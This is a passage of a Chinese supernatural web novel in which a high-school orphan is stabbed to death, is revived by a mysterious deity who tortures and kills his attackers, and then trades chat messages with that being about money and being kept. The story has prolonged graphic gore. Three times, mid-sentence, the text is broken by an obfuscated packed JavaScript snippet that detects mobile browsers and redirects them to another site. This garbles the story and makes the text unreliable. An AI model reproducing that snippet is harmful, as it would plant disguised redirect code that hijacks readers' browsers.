黄勉一让开,一把木椅兜头劈下。施霜景没能完全用手臂拦住,椅子腿狠狠地砸上施霜景的脑袋,施霜景登时就有些眼冒金星。这一下还没缓过来,三十岁男人再次抡起椅子砸第二下、第三下……施霜景被砸得坐在地上,黄勉抓住施霜景的衣领,三十岁男人说:“拖他去厕所。” 施霜景被丢进厕所,厕所地上有水,施霜景的裤子马上就遭染湿。他试着扶洗手台站起,三十岁男人亦是走进厕所,靠近施霜景,他用左手按住施霜景的肩膀,施霜景堪堪用手肘搭在洗手台上,正当打算还击时,尖刀没入。 一刀,两刀,三刀……十刀,十一刀,十二刀。 鲜血喷溅,扎了两刀之后,男人嫌弃布料麻烦,甚至掀起施霜景的卫衣,直接往肉上捅。小腹、侧腰、胃部……施霜景表情错愕,他试图推开男人,可他的力气与流血成反比,血流不止,力气消散。三魂七魄离体原来也有痛感,好痛。 施霜景无法呼吸,他的肺被扎破了,喘不上气却又想咳嗽,好矛盾。脚下也站不稳,施霜景滑倒,男人就蹲下来继续捅,第十九刀,第二十刀……他完全不看施霜景的脸,大概是在盯某条瓷砖缝吧,仿佛他杀人只是梦游行为,但每一刀都捅得结结实实,很有力道,甚至像是施霜景有仇。可施霜景不认识这号人,而这人竟然在杀人的时候也说:“正好想杀个人玩玩,这狗X的傻X世界。” 这狗X的傻X世界。施霜景喉头腥甜,却连咳出血的力气都没有了。死亡的感觉像是被淹死在血海里。施霜景的视线忽明忽暗,可人就算大出血也不会立刻死。等死前的这几分钟最煎熬。 男人捅够了,把刀扔到一边去,也坐在浴室地上,摸出烟盒,朝门外喊道:“拿包火柴来。” 所有人都吓傻了。 14. 于是罗爱曜决定全S了 “图哥……你、你杀……”黄勉给吓得连话都不会说了,杀人的三十岁男人——也就是吕宏图不耐烦地朝门伸出血手,让这些人别废话。 一个混混抖着手送上打火机,吕宏图说:“不会听话?我要火柴。” 于是他们又在杨玲玲家翻箱倒柜地找火柴,最后是在厨房的抽屉里找着的。 杨玲玲蜷缩在客厅沙发上,有个混混专门看着她,她不老实,混混就兜头给了她好几个耳光,打得她变老实。刚才还是震天响的动静,但从某个时候开始,好像万籁俱寂了,只剩像是摩擦声的钝音,不像是拳头。混混们不出声,吕宏图也不出声,杨玲玲怕极了,后来她依稀从黄勉嘴里听到了“杀”字,就更怕。她没想到施霜景是这么心好的人。她也不知道现在该怎么办才好了。 吕宏图坐在血泊里吞云吐雾,厕所墙壁、镜面、瓷白洗手台都溅满鲜血,顶上的灯泡亮得发白,血迹在狭小厕所里则被衬得发黑。刚才吕宏图下刀下得准,掀起衣服来扎的第一刀就扎到动脉,血热乎乎地洒了满手,最后几刀甚至感觉插到了硬骨头,是脊椎骨吗?可惜不能捅穿他。吕宏图看高中生俨然只剩最后一口微弱的气。 这是吕宏图这十九年来抽过最爽的烟,他要目睹这个人死在他眼前。杀人夺命的动作,愈迅疾愈好,观赏濒死的节奏,愈绵长愈好。 混混们都吓个半死,尤其黄勉。他是这些混混里年纪最小的,也是资历最轻的,上个月才混入进来,可以离开那破烂驿站的家,每天有个去处。 吕宏图是少年犯,十二岁杀老师,由于他那时还是绝对的未成年人,得判刑期二十五年。他在狱中表现良好,积极改造,减刑到十九年就出狱了,正是今年夏天才放了出来。他自己的家乡回不去,就来隔壁的这个省,同样是绕着市郊找住处,最后选了励光厂,组起新的混混圈子,不工作,靠赌博和抢劫维生。 高中生侧倒着,眼睛未闭,死不瞑目。那男高中生的身体竟然还有最轻的颤动,吕宏图就划开火柴,用火去烫他的伤口。 所有人都看不下去了,吕宏图……吕宏图这人简直是恶鬼转世。可他们现在没有一个人敢走。吕宏图杀了人,吕宏图不发话之前,所有人都不能离开。 吕宏图把这包烟抽空,心满意足地伸懒腰,让人去找杨玲玲家的菜刀,吕宏图接过刀,关上门。 他要在进去之前多杀几个。所以,这杀掉的第一个,必须藏起来。 男高中生的脸侧和头发被地上的血染红,吕宏图也很不喜欢这男高中生的脸。名字是什么来着?他已经忘了,只记得是个娘炮名字。脸长得帅,人很天真也很蠢,孤儿还努什么力?死了也不会有人烧纸的货色。吕宏图重新握回那把尖刀,考虑先把高中生的脸划烂。 厕所的灯闪了闪。吕宏图抬头,灯闪第二次,灯闪第三次。 然后,灯灭了。 杨玲玲家的厕所没有做大窗户,毕竟这是厂郊的平房,窗户大了容易招祸,所以厕所只是在高处装了一小扇百叶窗和换气扇。灯一暗下,满室漆黑,伸手不见五指,只能看见门缝里透着客厅的光亮。 吕宏图站起,手摸着墙壁,要找到灯的开关。找到了。按了几下,没反应。吕宏图转身去开门,打算让其他人看看是不是跳闸。 门打不开。 吕宏图又拧了拧圆圆的门把手,他确定自己没有从门内反锁,那是门外吗?吕宏图喊道:“龟儿子们,开门!灯灭了!” 无人应答。这群龟儿子……是逃跑了吗?吕宏图想,这群龟儿子竟然装出一副不要脸的样子来跟他混,胆子比瓢虫还小。不管了,就算他们要报警,吕宏图也得够本。吕宏图摸了摸自己的裤兜,手机没带进来。正糊涂着呢,厕所的灯忽然又亮起,吕宏图想,老天还是不亏待我。 吕宏图重新看向地上的尸体,然而,地上除了血迹之外,已是什么都不剩。 这是什么情况?见鬼了?还是吕宏图自己发癔症?吕宏图用带血的手捋一把头发,蹲下来仔细察看。这厕所也就几平米大,两个男人绝对嫌挤,吕宏图的腿刚才都还碰上了高中生的腿,现在从两人变成一人,这怎么可能? 吕宏图放下刀,伸手摸着带血地砖,他甚至想舔一口,这是货真价实的人血吧?他刚才分明在这里杀了个人? 正当吕宏图这么想着,却发现自己的手动不了了。不仅是手,双腿也是。他维持着蹲姿,手脚像是被粘在地上,拔而不出,与此同时,吕宏图觉得自己的身体也正在往下沉。还未确定,极致的疼痛从四肢传来。 吕宏图当即痛得大叫、尖叫、嚎叫,叫声一波高过一波,可这已经是他感慨痛苦的极限,再大的声量都不能代表他现在所受的刑罚。 他的身体缓缓下沉,着地的四肢仿佛接触了飞旋的刀林,无视一切硬与不硬之人躯,将他的肉与骨一片一片地剜切、分离,速度不快,从贴地的趾头削起,如似凌迟,又比凌迟要极限地多,因为不是人来执刑。 吕宏图快要疼得晕死过去,忽而灯光又闪,他感觉厕所里还有其他人,他颤颤巍巍地扭头,入眼的是诡谲的蓝色。吕宏图想起了以前自己看的鬼片,这蓝色极其不祥,跟楚人美下水时所穿的蓝一模一样。 在飘舞的血肉雨里,吕宏图看见刚才被自己捅了二十刀的高中生披着一块长长的蓝布,不言不语地站在墙边,似是也在观赏这场面。这并不是纯蓝的绸布,而是绣了相当繁复的花样,是一块绝色工艺品。绸面反射了顶光,更是照亮男高中生英俊而冷漠的面容,全然没有死气,仿佛刚才的杀生像是一个玩笑,被开玩笑的人拍拍灰就站了起来。 吕宏图知道自己是亏心事做多遇见鬼了,他试图旋过身来和施霜景对话,可他的手脚现在已经削完了,到手腕、脚腕了。吕宏图还在下沉,疼痛依旧疯狂,他痛叫道:“对不起!对不起!我在开玩笑!我没有——啊!!我没有!我疯了,我坐牢坐疯了,我不是故意的!对不起!” “你没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417924|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死对不对?!求求你,求你……啊!!!你不是没死吗!!凭什么?!还是说你是鬼?!如果你是鬼——我怎么可能杀鬼?如果你不是鬼……啊啊啊……如果你不是,那鬼为什么不杀你——” 吕宏图痛得胡言乱语,刀轮剑林加快了速度,血肉翻飞更甚,密密麻麻,在狭小浴室里悠扬飘落又垂挂,挂在吕宏图的脸上、身上,他仿佛一张嘴就能吃到自己的血肉。可是墙角的施霜景依旧光洁,眼神善而无情,垂眸看他,欣赏繁丽血景。 四肢削到一定程度,吕宏图再也撑不住,只剩躯干趴在地上,吕宏图并没有因为疼到某个境地而失去痛感,他发现这痛意一直维持在一个巅峰,并不随着他的手脚少掉而减少。他甚至恐慌地怀疑,就算他整个人都全数进了这剑林,可疼痛永存。 厕所门打开的声音传来。客厅的混混们俱是一震,刚才吕宏图关上门之后,厕所里什么动静都没有,他们猜想吕宏图可能要对尸体做什么,但不出声同样也让人很害怕。 “图哥……?” 混混们都不敢去看厕所,今晚已经是从旖旎场景突然堕落成噩梦场景,他们还没有勇气去看这场景。 有人走出来了。他们都听见了脚步声。 一袭蓝色映入眼帘。今夜未完。 这个叫施霜景的男孩,罗爱曜想过,他命格极其特殊,要拿他的头做诃梨勒,要拿他的骨做琉璃瓶,要拿他的肉做红莲花,要拿他的皮做佛国寓所。他是再好不过的祭品,从没见过这样好的祭品。 酒店那夜,罗爱曜就已经想过要收下这祭品,可那天他法身在外,那又是另一件事了——可正是这横生的新事,让罗爱曜发觉事情有所奇怪。一道业力拉走他,不要罗爱曜当天就取走施霜景的性命。加之罗爱曜发现竟然一整夜都无法在施霜景身上抄完诫文,只能搁置。 喂了施霜景整整一周,用祭品喂祭品,说出来罗爱曜都觉得可笑至极,可他仍是这般做。一周已到,该到重新收走祭品——说是收走供养也行。罗爱曜的存在是两相兼有,拿佛国与地狱的双户口本。可是那日,罗爱曜破了欲爱与色爱的戒,又仁慈下来。 施霜景这条命只值一万块人间的货币,于是只能给他一万。让施霜景提早兑现,业报就提前握在罗爱曜手里,是进一步掌控。 没想到,横生的事,一事惨烈过一事。这是罗爱曜自存在以来第一次被夺去祭品,当着他的面,踩着最后期限,差点抢走了。 只差那么一点点就抢走了。要不是罗爱曜用诫文做了标记,拖延了时间,这道不知从何而来的业力就立刻把施霜景这条命整个拿走了。也幸好罗爱曜的加持中有治愈,他虽身陷混沌,正恶两方的加持却也都能实现,只是这样一出手,罗爱曜这个清净身就破了。 罗爱曜暂时想不通,可发生之事实在气人。在他看来,施霜景被杀得不明不白,罗爱曜也不能接受自己苦心错付,帮了一回就要帮第二回。 于是罗爱曜决定全杀了。 15. 后天司机会过来换床 施霜景被拖进厕所,所有人眼睁睁看他被捅了二十刀,刚才吕宏图关上门不知道还要干什么……他怎么可能这样泰然地走出来? 可施霜景就是走出来了,身披蓝绸。料想那蓝绸应是四四方方的一块,搭在施霜景肩上,四个角尖尖地垂下来,颇有些长度,搭在便装的施霜景身上似乎是有些不伦不类,像袍也像披风,但施霜景的表情让人不敢再开玩笑。 那是一副已有定夺、事了拂衣去的表情,完事了。是什么完事了?房子里所有人的心跳又隆隆地加快。 有人鼓起胆子,往厕所看了一眼。只见厕所已成红通通的血窟。刚才杀了人都没有这么红啊?混混靠近,再靠近,他想知道吕宏图怎么了。就在此时,混混的腰部忽然遭猛踢一脚,他脚下不稳,跌进了厕所隔间,匍匐在地,摸到一地的红色刨花,当即吓得神智不清,大叫出声,滑着脚步艰难地爬起来,手摸上沾满粘稠薄片的瓷砖面,又是理智的天崩地裂,他踉跄地跑出厕所,跑回客厅。 “肉……妈的……全是肉片……妈的……”混混崩溃地喃喃,指缝里夹着血肉。如果施霜景还站在这里活得好好的,那这些血肉……是吕宏图?混混抬头,发现客厅里只有他一人。 混混再也承受不住这精神压力了,他跑向大门,手刚一触上铁门,烫得他猛弹开手。他翻掌一看,一层皮已经烫卷起来,下面是鲜红的掌肉。 身后忽然一阵大力传来,混混整个人贴在铁门上,铁门烫如铜烙,他半张脸贴上去,眼鼻嘴受此烫刑,没有马上化为焦炭,而是软塌塌地熔了,他想发出痛呼,可声音都憋在已经烂成仿佛芝士或披萨的脸里。很快,他就烫熔得只剩半个人。身后的力仍不停,挤压,将他像汉堡肉一样往铁门挤压。有熟肉的香味。 杨玲玲蜷在沙发上,死死捂住自己的嘴,吓得眼泪鼻涕一齐流,不敢出声。 她看见这些混混一个个争先恐后地跑向大门,像被宰的畜牲一样痛叫。那铁门好像温度极高,人接触就熔化,后面的人压着前面的人,仿佛不知道前面有人,又或是故意用自己的身体死死抵住前面的人,让他们充分受刑。所有人都极度害怕,试图逃跑,明知这里是死路,仍然要受铁门的炮烙。 吓傻了的还有黄勉。黄勉看出来了,是这个邪门的施霜景导致了这一切。施霜景没来之前,一切都还好好的。都是施霜景,都是施霜景。 杨玲玲看见施霜景往自己这处走来,她手脚并用地爬到沙发另一侧,施霜景也不恼,改换脚步换方向。杨玲玲跳下沙发,刚要逃跑,悬空的手腕忽然被人牵住。是施霜景。不知何时,施霜景出现在她身后,不让她再跑了。 施霜景靠近,杨玲玲手里忽然被塞了一把冷硬之物,一把染血尖刀。施霜景用不大的声音说道:“你自己的业果,要你自己去取。” 杨玲玲怔愣片刻,施霜景语焉不详,可很快,杨玲玲顿悟了。 她走向在墙边犯脚软的黄勉。 大概凌晨两点,一切尘埃落定。施霜景离开平房,蓝绸已换下了,他穿着自己的羽绒服,骑上摩托车,回家。 两点二十分,施霜景开门,进家。换下鞋子之后,施霜景去佛龛前敬了六炷香,然后是去洗澡,睡觉。 这一觉睡得好沉。一觉如死。 施霜景发现,每次他觉得自己要死了,最后都沉入梦乡。施霜景其实很喜欢睡觉,喜欢休息。他平日太累了。贫穷在他身上最具现化的剥夺就是没有充足的睡眠。施霜景会想起自己在孤儿院的那些日子,他和一些天生有残疾的孩子一起当福利院的钉子户,一直长到十八岁,可是过那样的集体生活很开心。天气好的时候,他们会满院子晒床褥、枕头。每次睡上新晒被褥的那个夜晚,施霜景都非常享受。松软的、平静的、惬意的、最不要钱的享受。半睡半醒间,施霜景还是很清楚地记得自己被捅死了,疼痛好漫长,躺在冰冷地面上,身体失温,热血涌流出来也失温,慢慢坠入冰冷的黑暗。他死后会被埋进土里吗,还是进垃圾堆?不管怎样,好像突然又温暖起来了。终于结束了。不再疼痛,迎来永恒的睡眠。 早上六点,闹钟响起。 睡眠好像没有那么永恒。施霜景睁开眼睛。 是不是昨天早上也是一样的迷茫?躺在床上,看天花板,好像前一晚都发生了不得了的恐怖大事件。前天是什么来着?哦,对,被鬼X了。还是昨天的事件比较恐怖,被人捅了二十多刀。鬼还是不如人恐怖。人太恐怖了,突如其来,一点预兆都没有。鬼好歹还发了一个星期的短信当预告。 施霜景下意识摸了摸肚皮,完好无损。完蛋了,施霜景想,我要么是有精神问题,要么是再次碰上灵异事件。 有一个很重要的问题——他要对谁说谢谢?这个场合应该说谢谢吧?施霜景真的不知道了。 五分钟悄然过去,闹钟响第二轮。施霜景伸长手臂,找到手机。他的手机竟然还在充电?施霜景凌乱了。 他关掉闹钟,今天再赖床五分钟吧,就五分钟。施霜景转身,紧了紧被子,点开微信,没回的消息里有K歌小群,有菜鸟驿站的老板娘,有宠物医院江医生……没有佛子。 没有的话,那就让我来主动发。 一剑霜寒:佛子哥 一剑霜寒:在吗? 一剑霜寒:昨天晚上的事……到底是梦还是? 一剑霜寒:还是其实我已经死掉了,前天晚上就死掉了,现在都是幻觉? 一剑霜寒:佛子哥,你也要睡觉的吗? [空白]:对方正在输入中…… 一剑霜寒:昨晚是你吗? [空白]:什么是我? 一剑霜寒:不是吗?我还以为是你 [空白]:救你的人? [空白]:是我。 [空白]:好好打字,不要颠三倒四地说话。 一剑霜寒:……好。我记得我昨晚去了杨玲玲家,然后被人捅了。是你带我回来的吗? [空白]:不是说我是鬼吗?鬼怎么带你回来? [空白]:是你自己回来的。 一剑霜寒:别逗我 [空白]:没逗你。 [空白]:蠢得要死。昨天让你把钱花完,你听进去了吗?没有。 一剑霜寒:是因为我没有把钱花完才遭报应的吗? 一剑霜寒:可是期限不是晚上十一点五十九分吗? [空白]:你到底在等什么? 一剑霜寒:有钱心安啊 一剑霜寒:我只是想多体会一下这种心安的感觉 一剑霜寒:现在花掉还来得及吗? 一剑霜寒:[转账6621.4元] 一剑霜寒:昨天我就算好账了,我想退给你来着 一剑霜寒:我给玉米预存了两千五的住院费,不知道这算不算花掉? [空白]:…… [空白]:我服了。 [空白]:你自己留着。期限过了,当我没说。 短信忽然弹出,施霜景看到自己的银行有入账。等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417925|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等,入账?施霜景点开短信,他收到一笔转账,十万块。 [空白]:先熟悉熟悉怎么花钱,三天里花完。 [空白]:后天司机会过来换床。 一剑霜寒:???? 一剑霜寒:???????????????? [空白]:你不去上学? [空白]:别烦我。我需要睡觉。滚。 施霜景睡意全无。他还什么都没问完,可佛子都这么说了,施霜景肯定不会再发消息去找他。鬼也需要睡觉的吗?施霜景那常年酷哥的冷淡表情终于也松动了,露出难以置信的表情。他施霜景是一个适应性很强的人没错,可是,可是,他接下来到底要适应什么? 施霜景下床,同手同脚去厕所,一看镜子又把自己吓到了,定睛一看,无事发生。他刚才晃眼一看,以为自己浑身密密麻麻抄着咒文,站定了发现是错觉。施霜景刷牙,死盯着镜子,真的是错觉? 胆子果然需要锻炼。施霜景含着牙刷去客厅找了雨伞来,在厕所撑伞,依旧无事发生。哦对,郎放说的是要“在午夜”撑伞。施霜景吐掉嘴里的泡沫。 煮早餐的时候,施霜景反复地察看他和佛子的对话。他已经处理了其他人的消息,包括江医生——她说玉米的情况真的还不错,问施霜景要不要考虑把玉米带回家。施霜景回了个“好”字,他受不了一个人在这套鬼屋里生活了,他必须要多一只猫来陪伴自己! 佛子到底什么时候起床?施霜景想问一下关于玉米的事。 让司机过来换床——这真的很难让施霜景不在意!佛子你到底什么时候起床?现在拒绝还来得及吗?是施霜景想的那个意思吗? 今天施霜景不能再翘课了,找郎放这事先搁置,感觉不是靠努力就能达成的事。而且,施霜景很在意杨玲玲。他需要找到和现实世界的连接点,他想知道到底发生了什么。 施霜景踩着早读的时间进教室,一眼就看见了杨玲玲。她很正常地在和同学说说笑笑,课代表站在讲台带早读的时候,她也很自然地进入学习的节奏,一切如常。 趁早读下课的五分钟,施霜景凑到杨玲玲的桌前,问她:“杨玲玲,昨天你还好吗?” “什么?”杨玲玲不解,“什么还好?” “我昨天给你送了菜。” “是啊,我知道。” “你家不是有人在……”施霜景想了想,比了个打麻将的手势。 杨玲玲更不解了,她皱眉道:“昨天就只有我一个人在家啊!你别吓我!我家住那么偏僻已经很恐怖了!” 施霜景梦游一样地回到自己的座位。上午的考试,当然是砸了,但施霜景不在意。 中午时分,施霜景犹豫再三,去了一趟菜鸟驿站。女老板一见到施霜景就问:“你昨天怎么没把摩托车还回来?” “抱歉,我昨天有点不舒服,就顺便骑回家了……”施霜景忐忑地撒谎,又忐忑地四望,“王阿姨,黄勉他……他昨天有回来吗?” “黄勉是谁?”女老板一脸尴尬,“你说我儿子吗?我儿子叫黄励啊,你记错了?” “黄励?哦哦,黄励他现在怎么样?” “他在上大学啊!你真的晕头了。这样吧,施霜景,你下午上课前把摩托骑回来,今晚要不要暂时给你放个假?反正购物节还有几天。” 施霜景糊里糊涂,当即就回家去把车骑过来,还给女老板。 这一切太混乱了。这不是给施霜景本就不富裕的智商雪上加霜吗? 16. 昨天的事不是你的报应,不要乱想 一天下来,施霜景得出一个结论:不能惹佛子,惹他会人间蒸发。 很明显这些人就是佛子处理掉的。加上黄勉的六个小混混和一个不知名姓的大混混,一夜之间,好像根本就没有来过这个人间。尤其是黄勉——施霜景知道他没考上大学,在家啃老,不学无术,现在姓名都被替换了,一个叫黄励的人代替他成为王阿姨的儿子。杨玲玲应该没做错什么事,就算做了错事,也不该由她承担主要后果,所以她只是失忆。 施霜景摸摸肚皮,他今天总在做这个动作,就好像是忍不住揉疼痛的地方,尽管他现在一点疼痛都没有。昨天被捅的痛觉很鲜明,刀子刺进来的那一瞬间,施霜景痛到舌底痉挛,舌尖发苦,一刀又一刀,每一刀其实都会痛,因为凶手很不老实,他不是单纯地捅,而是掀开施霜景的衣服去剖他的腹。 施霜景搞不懂了,这个佛子到底要干什么。 自顾自地给他发小纸片,自顾自地把他接去酒店,自顾自地给他送餐,自顾自地来他家造一场噩梦,好吧这里可能是真的被X了,施霜景在这一项划个红圈,然后,自顾自地逼他花钱,自顾自地救他和杨玲玲。 这么一想,这个佛子还怪好的咧。施霜景通过他不怎么样的逻辑推理得出这个结论,可他用情感脑袋仔细一琢磨,总觉得哪里隐隐不对。 施霜景上完今天的晚自习,一看今日花销,二十二块。施霜景上午还想找佛子,晚上这分钟已经完全不想再找佛子了,有种作业没写完怕被批评的微妙感。 从学校出来,走到主路上,施霜景去便利店买了两个红豆馅面包,看到便利店的蒸锅里还有热热的玉米,施霜景想了想,买了两根玉米。 他破天荒地打了网约车,厂区里就有网约车司机,这个点总还是有些年轻人可能会进城去玩的,所以也能打到车。五分钟后,施霜景上车——他要去接玉米! “玉米宝宝,看看是谁来接你啦?” 护士姐姐晚上正无聊值班,施霜景来过医院好多次,不知道是不是她的错觉,她觉得这帅哥好像是有点越来越帅,说不出来,反正今天出现的施霜景很养眼。她带施霜景去看了玉米,玉米一见到施霜景,那个激动啊,脑袋凑到铁笼栏杆前不停地蹭,确实很有活力,和一周多以前完全不同。 “等等啊,我给江医生发个消息,她应该还没睡,我让她下来。”护士说。 宠物医院开在小区门口,江医生就住在临街的楼里,护士发消息之后,江医生几分钟以后就到。江医生说:“我刚打开电视剧和夜宵,你的消息就来了。我还以为你要过两天才来呢!刚下晚自习?” “嗯。”施霜景点点头。 护士让江医生过来是为了算账,而且昨天江医生才收到施霜景一笔两千五的转账,说是预付的住院费——不过江医生没有收。江医生边操作前台的电脑,边说:“看吧,我昨天不收你的住院费是正确的,我觉得玉米的情况差不多了,再住院对它的精神也不好。你三天前结过一次住院费,今天只要补这两天的住院费和买药钱就行。” 施霜景攥着手机,随时准备扫码付钱。他说:“江医生,我不确定我能抓住玉米给它打针,家里只有我一个人。” “那你在我们这里买一个洗猫袋,把它的四条腿都套住,这样就可以打了。” 护士姐姐适时地找出一个洗猫袋,向施霜景演示怎么使用这样的小工具来制住猫咪。施霜景挠挠脑袋,问护士姐姐能不能在走之前再帮玉米剪一次指甲,护士姐姐和江医生都狂笑,知道这么一个小男生一个人在家养猫应该很难给猫剪指甲。 最后施霜景用一个塑料袋装着书包里的书,把玉米装在书包里,前背书包,一手提着书,另一手提着在宠物医院买的药和小工具,离开宠物医院。 玉米从打开的拉链小口子里钻出脑袋,圆头圆脑圆眼睛,施霜景忍不住,低头亲了亲猫脑袋。 回家亦是打网约车,竟然是送来的司机重新接单,搞到最后成司机专送了,施霜景坐在后排,司机和施霜景搭话,施霜景装酷,实则走神。他实在很不喜欢和人聊天。 施霜景和玉米都看向窗外,泛黄的街灯一盏盏后退如无限拉长的光带,光点映在一人一猫的眼睛里,眼神都亮亮的。街灯一盏一盏逝去有间隔,光点一闪一闪明灭如星辰。 玉米久违地回到家中,一落地就低垂着尾巴,有所犹豫的样子,嗅闻着客厅的地面。施霜景松了一口气,家里有只猫的感觉太好了,有另一个小生命陪着他,他总算是愿意回这个家了。他下意识看向墙上佛龛,他发现了,根本没有谁会专门来他家燃香。 可现在这根香正在燃烧,大概烧了一半的样子。 一剑霜寒:佛子哥,你起床了吗? [空白]:对方正在输入中…… 一剑霜寒:佛龛的香……是不是跟你的睡觉时间有关? [空白]:…… [空白]:怎么突然在这一点上这么聪明? 一剑霜寒:呃 一剑霜寒:是我之前太笨了 一剑霜寒:佛子哥,我把玉米接回来了,白天的时候家里只有它在 一剑霜寒:佛子哥,能不能不要伤害玉米? [空白]:不要喊我“佛子哥”,不伦不类。 [空白]:我为什么要伤害你的猫?一只小东西而已。 一剑霜寒:谢谢! 一剑霜寒:那我该怎么称呼您? [空白]:…… [空白]:吃错药了,这么客气? 一剑霜寒:前天晚上的事 一剑霜寒:你不是说试水只有一次吗? 一剑霜寒:为什么还要给我钱? [空白]:对方正在输入中…… 一剑霜寒:你要包养我吗? 施霜景打完这句,有点心虚,有点紧张。是的,这是施霜景今天思索一整天得到的结论——佛子反悔了,试水的那回没有那么令他失望。十万,十次。施霜景没有拒绝。 不仅没有拒绝,施霜景还打直球,主动询问。 有钱的感觉太好了。昨天带着鼓鼓的小钱包去市中心逛一整圈,施霜景感觉心头很轻松。原来很多人过着的是这样的生活吗?他不奢望去买什么大件,只是在点菜、坐车或是看到任何一串有关钱的小数字时,不用和自己每天在脑内更新的余额去做加减。光是少掉这一项工作,施霜景都觉得好快乐。他当然还是会去计算这一道菜、那一杯饮料要花掉他多少时薪、日薪,但他有一万块呢!一万块,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417926|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己起早贪黑赚过钱的人不能理解,这一万块要实打实地成为钱包账户里的数字,到底要付出多少努力。施霜景一直在赚钱,为了生活也得一直花钱,钱来来去去,流水一样,根本存不住。账户里要有一万块,这就得是结余的一万块。“结余”,施霜景想想这两个字就开心呀。 [空白]:你想要我包养你吗? 一剑霜寒:我…… [空白]:嗯? 一剑霜寒:我花这些钱会有报应吗? 一剑霜寒:像昨天一样 [空白]:昨天的事不是你的报应,不要乱想。 [空白]:该花就花,现在的你已经和过去不同了。 一剑霜寒:那你还会像前天晚上那样对我动手吗? 一剑霜寒:没关系,最后会治好就行 一剑霜寒:刚才你没回答我,我要怎么称呼你比较合适? [空白]:罗爱曜,这是我的名字。 [空白]:我说过了,你不挣扎就不会受伤。 [空白]:你得好好学学怎么听话。我的指令都非常清楚,我不明白你为什么会不执行,是听不懂还是不想听? 一剑霜寒:我还是喊你佛子吧 一剑霜寒:以后我会听的 一剑霜寒:谢谢你 [空白]:不用谢。 施霜景添加备注,“罗爱曜”,好奇怪的名字,打字好麻烦,喊出口也好奇怪,还是继续喊他佛子比较方便。 玉米重新巡视了一圈领地,去猫砂盆里美美地方便了一下,爪子扒拉猫砂,跳出猫砂盆抖抖后腿,看见施霜景盘腿坐在沙发上,玩手机玩得好认真,玉米三两下就跳上施霜景的腿,找到盘腿中间的镂空位置,盘身躺下,吸引施霜景的注意力。 “玉米,我好像要有钱了。”施霜景对玉米说,“你会不会看不起我啊?明明是男的,还要被包养。” 玉米甩甩尾巴,玉米不会说话。玉米只知道这个家很好,能活着就很好,什么包养不包养的,玉米也是被施霜景包养,它很自在。 S省,一座崖窟。 十日前,崖窟渗血,古泉赤红,窟下僧侣封闭了佛门,请出住持,住持又再请其他大寺住持来。众僧侣云集,比照大事记,试了百种咒语修持,都未能建立联系,要举行法会,不知道是何种化身现世,从仪式到供养到修持都不得其法。 十日后,五位住持坐化,留下墨书一封,说此佛三身齐在,不应降临末法时代。说是佛,就不该有恶,可他带地狱相,是救度也是警示。 墨书还写:“如来应身已离开我吉利佛门,应另选庙址,重设道场,等此佛化身启示。” 有年轻沙弥问师父,这几天佛门有异象,真的只是有佛出世吗? 师父说,岩窟里有一坐千年应身,没人见过,如今泉哭石破,这是离开了。 沙弥问,何为千年应身。 师父说,佛化胎、入世、轮回,为凡人相,是应身。千年应身,是修了密法,佛说不可思议,所以我们建立不了联系。 沙弥还有疑问,师父却不让他再问。他知道弟子要问,佛为何重新入世。师父想,佛国无小事,自有他的道理。这不是他们这一支所供奉的佛,但也不能妄语。 17. 骑机车来的男人 高中生的生活就是如此无聊。进学校时天微微亮,出学校时天已暗完了。所有学校外的生活都发生在晚上,短短的几个小时里,独居有猫的施霜景如果不打工,得做以下日常工作:喂猫、换猫砂、洗衣服、扫地拖地、做饭或备餐、算账、网上下单便宜日用品补货、各类缴费……有些是天天做,有些是隔几天做,有些是拖到最后不得不做。作业就成了可有可无的东西。在家务之后,才是与人社交。最亲近的也就是K歌小群的网友,除此之外就是励光孤儿院的家人们。 佛子没要施霜景的退款,施霜景现在账上已经有了将近十一万,特别不真实,施霜景看见数字,心里说不着急是假的——他总有想要赶紧还完账的想法,像是欠了佛子钱一样。施霜景会忍不住想,卖身……能不能早点卖完啊,不卖完之前都不觉得钱是自己的。 而且这些钱总有种血淋淋的质感,不好说是为什么。施霜景很不安,他发现他这段日子最开心的那天是被鬼X过之后醒来的第二天,也就是吃砂锅的那天。那时钱就是钱,落袋为安,而且这钱也并不多到令人焦虑,代价也还没有显现出来。 施霜景跟菜鸟驿站的老板娘说好了,他最近有点事,就购物节那周过去帮忙可不可以,长期工就不打了。王阿姨很是遗憾,三十块钱包搬货、操作进库出库和送菜,她自己也知道这买卖不道德,没办法,施霜景太好用了。 “施先生,请问你明天什么时候在家,佛子让我送床来。” 晚上十点钟,施霜景接到司机电话,心想:还是来了。 